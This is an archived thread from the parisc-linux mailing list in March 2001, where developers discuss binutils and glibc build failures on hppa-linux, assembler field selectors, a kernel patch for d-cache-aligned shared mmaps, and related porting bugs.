> > the 2.11 branch, or trunk for bleeding edge code.  At the moment, there's
> > no particular reason to not use pehc for hppa-linux binutils, as it's not
> > too far behind, but that will no doubt change in the future...
> 
> Is there any point in keeping this CVS module then?  Shall we just delete it?

i'm not sure what taggart did to build the deb on pehc, but i've been
building from Debian's source package. If we are at a point where we can
rely on the Debian maintainer to get the sources from upstream that we
need I think we'll be much better off.

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^




From - Thu Nov 08 21:16:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] segfaults with new binutils
Date: Sun, 11 Mar 2001 09:55:48 -0700
Lines: 37
Approved: news@gmane.org
Message-ID: <20010311095548.W18113@tausq.org>
References: <20010310102154.P18113@tausq.org> <Pine.LNX.4.21.0103111254230.23407-100000@front.linuxcare.com.au>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619944 16709 80.91.229.3 (22 Nov 2014 01:32:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:24 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar 11 09:57:27 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from phnxpop4.phnx.uswest.net (phnxpop4.phnx.uswest.net [206.80.192.4])
	by dsl2.external.hp.com (Postfix) with SMTP id 03B7A4A19
	for <parisc-linux@parisc-linux.org>; Sun, 11 Mar 2001 09:57:27 -0700 (MST)
Original-Received: (qmail 90638 invoked by alias); 11 Mar 2001 16:57:25 -0000
Delivered-To: fixup-parisc-linux@parisc-linux.org@fixme
Original-Received: (qmail 90626 invoked by uid 0); 11 Mar 2001 16:57:25 -0000
Original-Received: from dslpppa9.phnx.uswest.net (HELO gandalf.tausq.org) (63.224.146.10)
  by phnxpop4.phnx.uswest.net with SMTP; 11 Mar 2001 16:57:25 -0000
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 14c98G-0006A8-00; Sun, 11 Mar 2001 09:55:48 -0700
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <Pine.LNX.4.21.0103111254230.23407-100000@front.linuxcare.com.au>; from alan@linuxcare.com.au on Sun, Mar 11, 2001 at 01:55:45PM +1100
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Xref: news.gmane.org gmane.linux.ports.parisc:10500

> You've already started down the path to recovery:
>   build and install binutils with --disable-shared,
>   build and install gcc with --enable-languages=c --disable-shared,
>   build and install glibc

trying to do this last step, but am getting some pretty odd results.

when trying to build linuxthreads, the glibc compile dies when trying to
assemble linuxthreads/crti.S

in particular, it doesn't like the first and last instructions in the
following fragment:

        addil LT'.LC0,%r19
	stw %r2,-20(%r30)
        ldo 64(%r30),%r30
        ldw RT'.LC0(%r1),%r1

i thought LT and RT were #define's of some sort, but i don't see them
defined any place. 

it's also complaining about .init and .fini. From what I gather the
compile takes pt-initfini.c, translates it to a .S file, then does some
sed magic to remove some sections. This leaves a .S that has a .PROC and
.ENTRY for .init/.fini without a corresponding .EXIT and .PROCEND

i tried this both with gcc 2.96 and 2.97... wonder what's going on...

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^




From - Thu Nov 08 21:16:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] segfaults with new binutils
Date: Mon, 12 Mar 2001 10:41:39 +1100 (EST)
Lines: 48
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0103121021450.23407-100000@front.linuxcare.com.au>
References: <20010311095548.W18113@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619945 16711 80.91.229.3 (22 Nov 2014 01:32:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:25 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar 11 16:41:59 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2CC034A19
	for <parisc-linux@parisc-linux.org>; Sun, 11 Mar 2001 16:41:58 -0700 (MST)
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id KAA24862;
	Mon, 12 Mar 2001 10:41:39 +1100
In-Reply-To: <20010311095548.W18113@tausq.org>
Xref: news.gmane.org gmane.linux.ports.parisc:10501

On Sun, 11 Mar 2001, Randolph Chung wrote:

> > You've already started down the path to recovery:
> >   build and install binutils with --disable-shared,
> >   build and install gcc with --enable-languages=c --disable-shared,
> >   build and install glibc
> 
> trying to do this last step, but am getting some pretty odd results.
> 
> when trying to build linuxthreads, the glibc compile dies when trying to
> assemble linuxthreads/crti.S
> 
> it's also complaining about .init and .fini. From what I gather the
> compile takes pt-initfini.c, translates it to a .S file, then does some
> sed magic to remove some sections. This leaves a .S that has a .PROC and
> .ENTRY for .init/.fini without a corresponding .EXIT and .PROCEND

Huh?  My builds don't try to build crti.o for linuxthreads.  crti.o is
built in csu/ from sysdeps/hppa/elf/initfini.c.  Perhaps you have a
configuration problem.  What options did you pass to configure?  Hmm, more
importantly, what source are you compiling?  I don't have a pt-initfini.c
in my source tree!

$ cd /usr/src/parisc/glibc
$ cvs update -d -ko
? sysdeps/hppa/hppa64
$ find . -name '*initfini*'
./sysdeps/generic/initfini.c
./sysdeps/hppa/elf/initfini.c
./sysdeps/ia64/elf/initfini.c
./sysdeps/s390/initfini.c
./sysdeps/sh/elf/initfini.c

> i thought LT and RT were #define's of some sort, but i don't see them
> defined any place. 

LT' and RT' are field selectors.  They give you the LR' and RR' values
respectively of the offset from %r19 to the .got slot for the symbol.  The
presense of these selectors also tells the asembler/linker to set up .got
entries for the symbol.

Alan
-- 
Linuxcare





From - Thu Nov 08 21:16:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] segfaults with new binutils
Date: Mon, 12 Mar 2001 10:44:20 +1100 (EST)
Lines: 14
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0103121041451.23407-100000@front.linuxcare.com.au>
References: <20010311125007.A21169@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619945 16713 80.91.229.3 (22 Nov 2014 01:32:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:25 +0000 (UTC)
Cc: Randolph Chung <randolph@tausq.org>,
	Matt Taggart <taggart@fc.hp.com>, parisc-linux@parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar 11 16:44:50 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by dsl2.external.hp.com (Postfix) with ESMTP id 859DB4A19
	for <parisc-linux@parisc-linux.org>; Sun, 11 Mar 2001 16:44:47 -0700 (MST)
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id KAA24938;
	Mon, 12 Mar 2001 10:44:20 +1100
In-Reply-To: <20010311125007.A21169@parcelfarce.linux.theplanet.co.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10502

On Sun, 11 Mar 2001, Matthew Wilcox wrote:

>[re pehc binutils] 
> Is there any point in keeping this CVS module then?  Shall we just delete it?

Purge after 2.11 is released (and proves OK).

Alan
-- 
Linuxcare





From - Thu Nov 08 21:16:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jes Sorensen <jes@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] segfaults with new binutils
Date: 12 Mar 2001 05:31:17 +0100
Lines: 17
Approved: news@gmane.org
Message-ID: <d3y9ub6222.fsf@lxplus015.cern.ch>
References: <Pine.LNX.4.21.0103121021450.23407-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619945 16715 80.91.229.3 (22 Nov 2014 01:32:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:25 +0000 (UTC)
Cc: Randolph Chung <randolph@tausq.org>,
	parisc-linux@parisc-linux.org
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar 11 21:31:32 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp1.cern.ch (smtp1.cern.ch [137.138.128.38])
	by dsl2.external.hp.com (Postfix) with ESMTP id 823454A19
	for <parisc-linux@parisc-linux.org>; Sun, 11 Mar 2001 21:31:31 -0700 (MST)
Original-Received: from lxplus015.cern.ch (IDENT:root@lxplus015.cern.ch [137.138.161.112])
	by smtp1.cern.ch (8.9.3/8.9.3) with ESMTP id FAA18424;
	Mon, 12 Mar 2001 05:31:19 +0100 (MET)
Original-Received: (from jes@localhost)
	by lxplus015.cern.ch (8.9.3/8.9.3) id FAA09900;
	Mon, 12 Mar 2001 05:31:17 +0100
Original-Sender: Jes.Sorensen@cern.ch
In-Reply-To: Alan Modra's message of "Mon, 12 Mar 2001 10:41:39 +1100 (EST)"
Original-Lines: 14
User-Agent: Gnus/5.070096 (Pterodactyl Gnus v0.96) Emacs/20.4
Xref: news.gmane.org gmane.linux.ports.parisc:10503

>>>>> "Alan" == Alan Modra <alan@linuxcare.com.au> writes:

Alan> Huh?  My builds don't try to build crti.o for linuxthreads.
Alan> crti.o is built in csu/ from sysdeps/hppa/elf/initfini.c.
Alan> Perhaps you have a configuration problem.  What options did you
Alan> pass to configure?  Hmm, more importantly, what source are you
Alan> compiling?  I don't have a pt-initfini.c in my source tree!

pt-initfini.c was added to glibc-2.2.2 recently, you need it to build
a working LinuxThreads library now. Unless someone has synced the
parisc tree recently it shouldn't be an issue, as long as noone tries
to compile the Cygnus tree for parisc.

Jes




From - Thu Nov 08 21:16:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] segfaults with new binutils
Date: Mon, 12 Mar 2001 15:55:51 +1100 (EST)
Lines: 19
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0103121551380.23407-100000@front.linuxcare.com.au>
References: <d3y9ub6222.fsf@lxplus015.cern.ch>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619946 16721 80.91.229.3 (22 Nov 2014 01:32:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:26 +0000 (UTC)
Cc: Randolph Chung <randolph@tausq.org>,
	parisc-linux@parisc-linux.org
To: Jes Sorensen <jes@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar 11 21:56:25 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by dsl2.external.hp.com (Postfix) with ESMTP id 456E34A19
	for <parisc-linux@parisc-linux.org>; Sun, 11 Mar 2001 21:56:24 -0700 (MST)
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id PAA01138;
	Mon, 12 Mar 2001 15:55:51 +1100
In-Reply-To: <d3y9ub6222.fsf@lxplus015.cern.ch>
Xref: news.gmane.org gmane.linux.ports.parisc:10504

On 12 Mar 2001, Jes Sorensen wrote:

> pt-initfini.c was added to glibc-2.2.2 recently, you need it to build
> a working LinuxThreads library now. Unless someone has synced the
> parisc tree recently it shouldn't be an issue, as long as noone tries
> to compile the Cygnus tree for parisc.

Yeah, I figured Randolph was probably not compiling pehc glibc.  When we
do the next merge, we'll need to add an hppa-linux specific version of
pt-initfini.c

Alan
-- 
Linuxcare






From - Thu Nov 08 21:16:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Randolph Chung" <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] segfaults with new binutils
Date: Sun, 11 Mar 2001 22:04:01 -0700
Lines: 17
Approved: news@gmane.org
Message-ID: <20010311220401.Z18113@tausq.org>
References: <d3y9ub6222.fsf@lxplus015.cern.ch> <Pine.LNX.4.21.0103121551380.23407-100000@front.linuxcare.com.au>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619946 16725 80.91.229.3 (22 Nov 2014 01:32:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:26 +0000 (UTC)
Cc: "Jes Sorensen" <jes@linuxcare.com>, parisc-linux@parisc-linux.org
To: "Alan Modra" <alan@linuxcare.com.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar 11 22:05:44 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from phnxpop5.phnx.uswest.net (mail.phnx.uswest.net [206.80.192.5])
	by dsl2.external.hp.com (Postfix) with SMTP id 200F64A19
	for <parisc-linux@parisc-linux.org>; Sun, 11 Mar 2001 22:05:44 -0700 (MST)
Original-Received: (qmail 14460 invoked by uid 0); 12 Mar 2001 05:05:38 -0000
Original-Received: from dslpppa9.phnx.uswest.net (HELO gandalf.tausq.org) (63.224.146.10)
  by mail.phnx.uswest.net with SMTP; 12 Mar 2001 05:05:38 -0000
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 14cKUz-0006dI-00; Sun, 11 Mar 2001 22:04:01 -0700
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <Pine.LNX.4.21.0103121551380.23407-100000@front.linuxcare.com.au>; from alan@linuxcare.com.au on Mon, Mar 12, 2001 at 03:55:51PM +1100
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Xref: news.gmane.org gmane.linux.ports.parisc:10505

> Yeah, I figured Randolph was probably not compiling pehc glibc.  When we
> do the next merge, we'll need to add an hppa-linux specific version of
> pt-initfini.c

you are right, of course. i was building from Debian's glibc 2.2.2
package. taggart said he's going to rebuild 2.2.1 from pehc cvs, so i'll
wait for him to do that.

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^




From - Thu Nov 08 21:16:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] Shared mmap [Take 3]
Date: Mon, 12 Mar 2001 17:50:42 +0000
Lines: 178
Approved: news@gmane.org
Message-ID: <20010312175042.B19848@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619946 16729 80.91.229.3 (22 Nov 2014 01:32:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:26 +0000 (UTC)
To: linux-mm@kvack.org, parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar 12 10:51:24 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8F53F4A19
	for <parisc-linux@parisc-linux.org>; Mon, 12 Mar 2001 10:51:23 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14cWSw-0007b6-00; Mon, 12 Mar 2001 17:50:42 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10506

This patch changes shared mmaps of files to always be aligned at the
same offset within the processor's d-cache.  This fixes PA-RISC & MIPS.
Sparc & IA-64 need some of their support changing, but I don't want to
do that until everyone's had the chance to disagree with my changes :-)

Index: fs/inode.c
===================================================================
RCS file: /var/cvs/linux/fs/inode.c,v
retrieving revision 1.1.1.3
diff -u -p -r1.1.1.3 inode.c
--- fs/inode.c	2001/01/01 10:32:52	1.1.1.3
+++ fs/inode.c	2001/03/12 13:23:04
@@ -608,6 +608,7 @@ static void clean_inode(struct inode *in
 	inode->i_data.a_ops = &empty_aops;
 	inode->i_data.host = inode;
 	inode->i_mapping = &inode->i_data;
+	inode->i_mmap_offset = -1;
 }
 
 /**
Index: include/linux/fs.h
===================================================================
RCS file: /var/cvs/linux/include/linux/fs.h,v
retrieving revision 1.1.1.4
diff -u -p -r1.1.1.4 fs.h
--- include/linux/fs.h	2001/01/01 10:33:09	1.1.1.4
+++ include/linux/fs.h	2001/03/12 13:56:10
@@ -424,6 +424,7 @@ struct inode {
 
 	unsigned long		i_state;
 
+	unsigned int		i_mmap_offset; /* Handle L1 d-cache aliasing */
 	unsigned int		i_flags;
 	unsigned char		i_sock;
 
Index: include/linux/mm.h
===================================================================
RCS file: /var/cvs/linux/include/linux/mm.h,v
retrieving revision 1.1.1.4
diff -u -p -r1.1.1.4 mm.h
--- include/linux/mm.h	2001/01/01 10:33:09	1.1.1.4
+++ include/linux/mm.h	2001/03/12 13:56:10
@@ -419,6 +419,7 @@ extern void insert_vm_struct(struct mm_s
 extern void __insert_vm_struct(struct mm_struct *, struct vm_area_struct *);
 extern void build_mmap_avl(struct mm_struct *);
 extern void exit_mmap(struct mm_struct *);
+extern unsigned long get_shared_area(unsigned long, unsigned long, unsigned int);
 extern unsigned long get_unmapped_area(unsigned long, unsigned long);
 
 extern unsigned long do_mmap_pgoff(struct file *file, unsigned long addr,
Index: mm/mmap.c
===================================================================
RCS file: /var/cvs/linux/mm/mmap.c,v
retrieving revision 1.1.1.4
diff -u -p -r1.1.1.4 mmap.c
--- mm/mmap.c	2001/01/01 10:33:08	1.1.1.4
+++ mm/mmap.c	2001/03/12 16:47:25
@@ -190,6 +190,7 @@ unsigned long do_mmap_pgoff(struct file 
 {
 	struct mm_struct * mm = current->mm;
 	struct vm_area_struct * vma;
+	struct inode *inode = NULL;
 	int correct_wcount = 0;
 	int error;
 
@@ -223,17 +224,18 @@ unsigned long do_mmap_pgoff(struct file 
 	 * of the memory object, so we don't do any here.
 	 */
 	if (file != NULL) {
+		inode = file->f_dentry->d_inode;
 		switch (flags & MAP_TYPE) {
 		case MAP_SHARED:
 			if ((prot & PROT_WRITE) && !(file->f_mode & FMODE_WRITE))
 				return -EACCES;
 
 			/* Make sure we don't allow writing to an append-only file.. */
-			if (IS_APPEND(file->f_dentry->d_inode) && (file->f_mode & FMODE_WRITE))
+			if (IS_APPEND(inode) && (file->f_mode & FMODE_WRITE))
 				return -EACCES;
 
 			/* make sure there are no mandatory locks on the file. */
-			if (locks_verify_locked(file->f_dentry->d_inode))
+			if (locks_verify_locked(inode))
 				return -EAGAIN;
 
 			/* fall through */
@@ -253,6 +255,15 @@ unsigned long do_mmap_pgoff(struct file 
 	if (flags & MAP_FIXED) {
 		if (addr & ~PAGE_MASK)
 			return -EINVAL;
+	} else if (inode && (flags & MAP_SHARED)) {
+		if (inode->i_mmap_offset != -1) {
+			addr = get_shared_area(addr, len, inode->i_mmap_offset);
+		} else {
+			addr = get_unmapped_area(addr, len);
+		}
+		if (!addr)
+			return -ENOMEM;
+		inode->i_mmap_offset = addr & (SHMLBA - 1);
 	} else {
 		addr = get_unmapped_area(addr, len);
 		if (!addr)
@@ -348,7 +359,7 @@ unsigned long do_mmap_pgoff(struct file 
 
 	insert_vm_struct(mm, vma);
 	if (correct_wcount)
-		atomic_inc(&file->f_dentry->d_inode->i_writecount);
+		atomic_inc(&inode->i_writecount);
 	
 	mm->total_vm += len >> PAGE_SHIFT;
 	if (flags & VM_LOCKED) {
@@ -359,7 +370,7 @@ unsigned long do_mmap_pgoff(struct file 
 
 unmap_and_free_vma:
 	if (correct_wcount)
-		atomic_inc(&file->f_dentry->d_inode->i_writecount);
+		atomic_inc(&inode->i_writecount);
 	vma->vm_file = NULL;
 	fput(file);
 	/* Undo any partial mapping done by a device driver. */
@@ -376,6 +387,29 @@ free_vma:
  * Return value 0 means ENOMEM.
  */
 #ifndef HAVE_ARCH_UNMAPPED_AREA
+
+#define DCACHE_ALIGN(addr) ((addr) &~ (SHMLBA - 1))
+
+unsigned long get_shared_area(unsigned long addr, unsigned long len, unsigned int offset)
+{
+	struct vm_area_struct *vmm;
+
+	if (len > TASK_SIZE)
+		return 0;
+	if (!addr)
+		addr = TASK_UNMAPPED_BASE;
+	addr = DCACHE_ALIGN(addr - offset) + offset;
+
+	for (vmm = find_vma(current->mm, addr); ; vmm = vmm->vm_next) {
+		/* At this point:  (!vmm || addr < vmm->vm_end). */
+		if (TASK_SIZE - len < addr)
+			return 0;
+		if (!vmm || addr + len <= vmm->vm_start)
+			return addr;
+		addr = DCACHE_ALIGN(vmm->vm_end - offset) + offset;
+	}
+}
+
 unsigned long get_unmapped_area(unsigned long addr, unsigned long len)
 {
 	struct vm_area_struct * vmm;
Index: mm/mremap.c
===================================================================
RCS file: /var/cvs/linux/mm/mremap.c,v
retrieving revision 1.1.1.4
diff -u -p -r1.1.1.4 mremap.c
--- mm/mremap.c	2001/01/01 10:33:09	1.1.1.4
+++ mm/mremap.c	2001/03/11 23:48:55
@@ -276,7 +276,11 @@ unsigned long do_mremap(unsigned long ad
 	ret = -ENOMEM;
 	if (flags & MREMAP_MAYMOVE) {
 		if (!(flags & MREMAP_FIXED)) {
-			new_addr = get_unmapped_area(0, new_len);
+			if (vma->vm_file && (vma->vm_flags & VM_SHARED)) {
+				new_addr = get_shared_area(0, new_len, vma->vm_file->f_dentry->d_inode->i_mmap_offset);
+			} else {
+				new_addr = get_unmapped_area(0, new_len);
+			}
 			if (!new_addr)
 				goto out;
 		}

----- End forwarded message -----

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:16:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] libpng test program causes page fault
Date: Mon, 12 Mar 2001 12:16:02 -0700
Lines: 19
Approved: news@gmane.org
Message-ID: <20010312191602.E94E537CB4@carmen.fc.hp.com>
References: <Pine.LNX.4.21.0103110024490.23407-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619947 16735 80.91.229.3 (22 Nov 2014 01:32:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:27 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar 12 12:13:30 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202])
	by dsl2.external.hp.com (Postfix) with ESMTP id 29A994A19
	for <parisc-linux@parisc-linux.org>; Mon, 12 Mar 2001 12:13:30 -0700 (MST)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel2.hp.com (Postfix) with ESMTP
	id 757F577F; Mon, 12 Mar 2001 14:13:29 -0500 (EST)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id E94E537CB4; Mon, 12 Mar 2001 12:16:02 -0700 (MST)
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
In-Reply-To: Message from Alan Modra <alan@linuxcare.com.au> 
   of "Sun, 11 Mar 2001 00:40:41 EST." <Pine.LNX.4.21.0103110024490.23407-100000@front.linuxcare.com.au> 
Xref: news.gmane.org gmane.linux.ports.parisc:10507

Alan Modra writes...

> Your IOAQ indicates the fault happened in libz.  48210228 occurs in my
> libz in __do_global_ctors_aux, so it smells like your libz is bad,
> ie. built with bad crt[in].o.

Yep, I rebuilt/installed libz and then it built fine. I uploaded the new zlib 
and libpng stuff to pehc.

Thanks,

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation






From - Thu Nov 08 21:16:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Bug 72 ( Floating point problems )
Date: Tue, 13 Mar 2001 20:50:38 +0000
Lines: 14
Approved: news@gmane.org
Message-ID: <20010313205038.G15004@parcelfarce.linux.theplanet.co.uk>
References: <20010309164348.93224D15C5@mail.esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619947 16742 80.91.229.3 (22 Nov 2014 01:32:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:27 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Bruno IGLESIAS <iglesiab@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 13 13:50:45 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 007454A19
	for <parisc-linux@parisc-linux.org>; Tue, 13 Mar 2001 13:50:44 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14cvkc-0001x8-00; Tue, 13 Mar 2001 20:50:38 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010309164348.93224D15C5@mail.esiee.fr>; from iglesiab@esiee.fr on Fri, Mar 09, 2001 at 05:43:48PM +0000
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10508

On Fri, Mar 09, 2001 at 05:43:48PM +0000, Bruno IGLESIAS wrote:
> 	The test of the Seti@client reveals lots of problems. When the       
> calculation doesn't result in an illegal instruction (cf A500), the   
> results are false. The kernel running was compiled on a B132L and the 
> xc seems to be an old one. We now try with an newer kernel and xc.    

i'd really like to try this client myself.  Do you have the source available
for ftp somewhere?  i can't see it on the seti site.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:16:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] segfaults with new binutils
Date: Wed, 14 Mar 2001 11:22:01 +1100 (EST)
Lines: 36
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0103141102190.27636-100000@front.linuxcare.com.au>
References: <Pine.LNX.4.21.0103141045320.27636-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
